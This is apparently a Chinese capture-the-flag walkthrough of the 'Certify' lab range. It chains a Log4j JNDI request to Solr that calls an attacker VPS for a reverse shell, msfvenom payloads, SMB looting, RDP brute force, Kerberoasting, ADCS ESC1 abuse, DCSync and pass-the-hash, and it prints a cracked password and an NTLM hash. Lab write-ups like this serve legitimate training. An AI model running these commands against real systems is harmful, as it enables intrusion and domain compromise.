靶标介绍:
Certify是一套难度为中等的靶场环境,完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中一些有趣的技术要点。该靶场共有4个flag,分布于不同的靶机。
技术涉及点:
Solr RCE、AD CS、SMB、Kerberos、域渗透
外网打点:
有ssh服务,一个默认的80端口Welcometonginx!页面和SolrAdmin
发现了solr使用了log4j的组件,我们可以进行log4j RCE
JNDI反弹shell,在VPS上开启服务
# 加载恶意类
java -jar JNDIExploit-1.3-SNAPSHOT.jar -i yourVPS
#开启监听
nc -lnvp 80
Burp Suite发送数据包
GET /solr/admin/cores?action=${jndi:ldap://119.91.26.244:1389/Basic/ReverseShell/119.91.26.244/80 HTTP/1.1
Host: 47.92.242.84:8983
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
获得反弹shell
提权:
sudo -l提权发现grc
sudo grc --help
查找flag
sudo grc --pty find / -name flag*
获得flag01
在给Meterpreter一个会话
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=yourVPS LPORT=443 -f elf -o shellrawss
python3开启HTTP服务
MSF监听
目标机运行linux马获得Meterpreter会话
Socks5代理进内网和内网信息收集:
上传Fscan
内网网段172.22.9.0
fscan命令:
./fscan_386 -h 172.22.9.0/24 >> fscan.txt
整理得到:
172.22.9.19:入口IP
172.22.9.7:域控制器DC
172.22.9.26:域成员
172.22.9.47:文件服务器
172.22.9.13:CA
根据提示,文件服务器猜测存在smb的共享,但是fscan不扫描smb的共享模式,只能使用nmap扫描
开启Socks5并为MSF添加路由
proxychains nmap -sT -A -Pn 172.22.9.47 >> nmap01.txt
proxychains smbclient \\\\172.22.9.47\\fileshare
dir
get personnel.db
get secret\flag02.txt
获得flag02
还有提示 you have enumerated smb. But do you know what an SPN is?
数据库文件中有几个用户名和密码
rdp破解
proxychains hydra -L user.txt -P pwd.txt 172.22.9.26 rdp -vV -e ns
获得了两个账号,但是无法远程登录
Kerberoast攻击:
使用GetUserSPNs.py寻找注册在域用户下的SPN
proxychains python3 GetUserSPNs.py -request -dc-ip 172.22.9.7 xiaorang.lab/zhangjian
然后在使用hashcat进行破解,rockyou.txt 是kali自带的密码本
hashcat64.exe -m 13100 1.txt rockyou.txt
破解得到密码
zhangxia/[email protected]@6,使用账号密码进行远程登录
rdesktop 172.22.9.26
登录完成后并不能直接访问administrator的目录查找flag,因为没有管理员权限
ADCS ESC1:
Certify.exe定位漏洞
Certify.exe find /vulnerable
ESC1利用前提条件:
msPKI-Certificates-Name-Flag: ENROLLEE_SUPPLIES_SUBJECT
表示基于此证书模板申请新证书的用户可以为其他用户申请证书,即任何用户,包括域管理员用户
PkiExtendedKeyUsage: Client Authentication
表示将基于此证书模板生成的证书可用于对 Active Directory 中的计算机进行身份验证
Enrollment Rights: NT Authority\Authenticated Users
表示允许 Active Directory 中任何经过身份验证的用户请求基于此证书模板生成的新证书
为域管申请证书:
Certify.exe request /ca:CA01.xiaorang.lab\xiaorang-CA01-CA /template:"XR Manager" /altname:XIAORANG.LAB\Administrator
转换格式:
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
请求TGT,PTT
密码留空就行
Rubeus.exe asktgt /user:Administrator /certificate:cert.pfx /password: /ptt
获取到域管的票据后上传mimikatz导出哈希
DcSync攻击:
mimikatz.exe "lsadump::dcsync /domain:xiaorang.lab /user:Administrator" exit
哈希传递:
proxychains crackmapexec smb 172.22.9.26 -u administrator -H2f1b57eefb2d152196836b0516abea80 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"
获得flag03
横向域控制器:
proxychains python3 wmiexec.py -hashes 00000000000000000000000000000000:2f1b57eefb2d152196836b0516abea80 [email protected]
获得最后的flag04